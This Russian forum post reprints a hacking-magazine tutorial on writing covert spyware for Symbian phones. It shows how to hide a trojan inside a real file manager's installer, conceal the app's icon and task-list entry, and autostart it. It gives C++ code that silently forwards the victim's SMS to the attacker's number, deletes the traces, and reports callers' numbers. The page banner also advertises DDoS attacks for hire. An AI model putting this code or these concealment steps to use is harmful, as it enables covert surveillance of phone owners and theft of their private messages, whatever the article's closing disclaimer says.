Перейти к содержимому

 Друзья: Всё для вебмастера | [ Реклама на форуме ]


Rutor
Rutor


[ DDos Услуги. DDos атака. Заказать ДДос ]


Большой брат для мобилы


  • Авторизуйтесь для ответа в теме
В этой теме нет ответов

#1
MoLoToK

MoLoToK

    Кувалда

  • Honourаble
  • PipPipPip
  • 371 сообщений
Инструментарий

В процессе разработки мы задействуем проверенную временем связку: Microsoft Visual Studio.NET 2003 + Carbide.VS . Что касается SDK, то здесь лучшим выбором будет SDK Series 60 2.0. Кроме того, если ты собрался серьезно кодить под Симбу, тебе наверняка потребуется документация из SDK, а также литература, приведенная во врезке.

Определяемся с функционалом

Понятное дело, что написание всякого шпионского ПО как для настольных систем, так и для мобильных устройств несколько специфично. В частности, нормальный шпион должен работать максимально прозрачно для жертвы и обладать следующими особенностями:

    *  автоматический запуск при старте мобилы;
    * удаление копий отправленных sms из папки «Отправленные»;
    * незаметность работы;
    * отсутствие иконки приложения в Task Manager.

Что касается, собственно, функционала, то предлагаю рассмотреть вариант разработки программы, отправляющей копии входящих/исходящих sms на заданный номер, а также сигнализирующей хакеру о входящем/исходящем звонке посредством sms с отправкой на тот же номер информации о звонящем/адресате.

Изображение

Прячем от глаз


Перед хакером, желающим впарить гадость, часто стоит проблема: как заставить юзера установить вредоносную программу так, чтобы тот ничего не заподозрил?

Недавно в Сети появился троян, который рассылал платные sms на короткий номер. Его распространяли следующим образом. На сайте dimonvideo.ru (кстати, привет авторам этого нехорошего ресурса, с вас ящик пива за пиар) есть раздел, куда пользователи могут выкладывать программки для всеобщего обозрения. Так вот, автор троя выдавал свою шнягу за какую-то полезную софтину, немало заработав на этом деле, поскольку программа при запуске первым делом отправляла sms стоимостью в 100 рублей. Понятное дело, что юзер, заметив, что программка, мягко говоря, не та, за которую себя выдает, сносил эту гадость.

Однако в тайных подземельях злокодеров есть способ и получше: зашить нехорошую программу в работоспособную и полезную софтину. Пусть пользователь радуется, что скачал крутой файловый менеджер, не подозревая, что в него зашита программка, которая за ним следит.

Рассмотрим, как именно плохие люди это делают. За сборку приложения в инсталляционный файл, как ты знаешь, отвечает *.pkg–файл, в котором прописывается, какие файлы и куда должны быть помещены на мобиле в момент установки программы. Так вот, в этот файл можно добавить следующую строку:

@"eFileMan.sis",(0x101F4284)

Это означает, что в текущую инсталляцию будет включен файл eFileMan.sis, который во время сборки находится у тебя там же, где и конфиг. 0x101F4284 – это UID подключаемого приложения, который можно узнать, запустив программу SIS Xplode, показывающую UID любого приложения под Symbian.

Теперь, после создания сборки, можешь смело переименовывать ее из какого-нибудь там megaTroy.sis в eFileMan.sis, и юзер будет уверен, что устанавливает файловый менеджер, как во время, так и после установки, поскольку пресловутый eFileMan также установится и будет отображаться в меню приложения. Если же пользователь захочет удалить eFileMan, он без труда сможет это сделать, оставив в сохранности зловредную программу.

Далее, хакеры обычно скрывают шпионскую программу от глаз пользователя. Для этого нужно модифицировать файл информации о приложении, хранящийся в папке AIF и имеющий имя вида OurMegaAppaif.rss. Делается это следующим образом:

RESOURCE AIF_DATA

{
app_uid=0x0871aba4; 
//уникальный идентификатор приложения

...
hidden = KAppIsHidden; 
//прячем иконку

}

Вот и все, иконка приложения из меню смартфона бесследно исчезла. После этого программисты переопределяют виртуальную функцию UpdateTaskNameL класса AppUi, которая отвечает за отображение приложения в тасклисте. Для этого они добавляют в заголовочный файл документа в объявление класса Document строку:

virtual void UpdateTaskNameL(CApaWindowGroupName* aWgName);

После этого в реализацию класса документа они вставляют:

void CXaSMSDocument::UpdateTaskNameL(CApaWindowGroupName* aWgName) 
//конструкция :: играет роль namespace
{
CAknDocument::UpdateTaskNameL(aWgName); 
//вызывается системная функция UpdateTaskNameL
aWgName->SetHidden(ETrue); 
//прячем приложение из контакт-листа
aWgName->SetSystem(ETrue); 
}

А в конструктор класса AppUI вписываются следующие строки:

void CXaSMSAppUi::ConstructL()
{
BaseConstructL();
//приложение никогда не может получить фокус
CEikonEnv::Static()->RootWin().EnableReceiptOfFocus(EFalse); 
CEikonEnv::Static()->RootWin().SetOrdinalPosition(-1000, ECoeWinPriorityNeverAtFront);
...
}

Все, теперь приложение невидимо ни в тасклисте, ни в меню смартфона, и запустить его нельзя, даже кликая на исполняемый файл. Осталось только приделать автозапуск, используя разработку ezboot

Перехват входящих и исходящих sms


Механизм работы следующий: хакерская программа мониторит все входящие и исходящие sms и моментально отправляет их копии на номер хакера, удаляя их из папки «Отправленные».

Для реализации этого функционала программисту надо будет сделать sms-движок, являющийся классом, унаследованным от MMsvSessionObserver. Называться этот движок будет, к примеру, CXaMegaFuck. Реализацию движка можно увидеть в проекте на диске.

Особый интерес представляет метод HandleSessionEventL, поскольку именно он служит для отлова событий типа: «перемещение sms из одной папки в другую», «создание sms» и т.п. К примеру, отлов исходящего sms осуществляется очень просто. Когда sms отправляется, его копия всегда помещается сначала в папку «Исходящие», а после этого уже в папку «Отправленные». В HandleSessionEventL мы отлавливаем эти манипуляции следующим образом:

void CXaMegaFuck::HandleSessionEventL(TMsvSessionEvent aEvent, TAny* aArg1, TAny* aArg2, TAny* aArg3)
 {
 switch (aEvent)
//aEvent – событие сервера сообщений
 {
	case EMsvEntriesMoved:
	if((*static_cast(aArg3)==KMsvDraftEntryId)&&(*static_cast(aArg2)==KMsvSentEntryId))
	//если сообщение перемещено из черновиков в отправленные, 
	//значит, эту sms создал троян и его надо удалить
	{
		TRAPD(error,DeleteMessageL( KMsvSentEntryId ));
		if(error)
		{
		}
 		}
			if((*static_cast(aArg3)==KMsvGlobalOutBoxIndexEntryId)&&
			(*static_cast(aArg2)==KMsvSentEntryId)&&(!iRunning))
			//если sms перемещено из папки «Исходящие» в папку «Отправленные», 
			//значит, sms отправил юзер и его надо получить
	{
		//составляем отправляемое хакеру сообщение
		CreateDraftSMSL(iAddress, aMessage);
		SendSMSL();
		DeleteMessageL( KMsvSentEntryId );
	}
			
	break;
}
}

Код этот достаточно простой и не требует дополнительных комментариев. В результате его выполнения при отправке пользователем sms будет создана его копия вида:

To:+79031111111 Текст сообщения

Собственно, текст сообщения формируется следующим образом:

iSession->GetEntry((*entries)[entries->Count()-1],owningServiceId,messageEntry);
//записываем хэндл сообщения в messageEntry
TMsvId iSmsId = messageEntry.Id();
iSmsMtm->SwitchCurrentEntryL(iSmsId);
iBody.Copy(iSmsMtm->Entry().Entry().iDescription);
//в переменную iBody будет записан текст отправленного sms

Затем sms отправляется хакеру и удаляется из папки «Отправленные». Аналогичный код приведен в описании HandleSessionEventL для отлова входящих sms. Код можешь посмотреть на диске.

Отлов звонков


Для отлова вызовов нам также понадобится отдельный класс, который будет обладать свойством iActive, являющимся экземпляром класса CActiveIncomingCallObserver, унаследованным от CActive.

В конструктор AppUi мы добавим создание объекта движка, в результате чего будет создан и iActive, который будет слушать поступающие звонки. Код, который выполняется в случае звонка, помещается в метод CActiveIncomingCallObserver::RunL() (кстати, рекомендую изучить документацию по CActive).

void CActiveIncomingCallObserver::RunL()
{
	if (iStatus == KErrNone)
	{
		if (iCallActive)
		{
			if (iCallStatus == RCall::EStatusIdle)
			{
			//разговор в процессе, можно, 
			//например, попытаться записать его на флешку =)
			}
			else
			{
				iCall.NotifyStatusChange(iStatus, iCallStatus);
			}
		}
		else
		{
		 //Поступил вызов, получаем номер звонящего и отправляем sms =)	
		}
		SetActive();//запускаем механизм отлова звонка снова
	}
}

При этом, собственно, получение номера звонящего выглядит примерно так:

RMobileCall::TMobileCallInfoV1 callInfo;
RMobileCall::TMobileCallInfoV1Pckg callInfoPckg(callInfo);

User::LeaveIfError(iCall.GetMobileCallInfo(callInfoPckg));
TBuf<64> remoteNumber;
//переменная для записи номера звонящего

remoteNumber.Copy(callInfo.iRemoteParty.iRemoteNumber.iTelNumber);

Заключение

Как видишь, создание зловредного программного обеспечения для современных мобил – совсем несложное дело. Есть люди, которые зарабатывают на этом немалые деньги. Описанный выше случай с отправкой вредоносной программой платных sms примитивен, но весьма показателен. В частности, мне поступало предложение за весьма внушительную сумму разработать программку, которая могла бы управляться хакером посредством sms-команд. Конечно же, я отказался, чего и тебе советую. Зарплата у разработчиков мобильного ПО и так выше, чем в среднем на рынке, поэтому мы в состоянии зарабатывать на батон хлеба с кружкой кваса и без всякой незаконной хрени.

]]><div align="right">Взято из Журнала Хакер #103</div>]]>


Количество пользователей, читающих эту тему: 0

0 пользователей, 0 гостей, 0 анонимных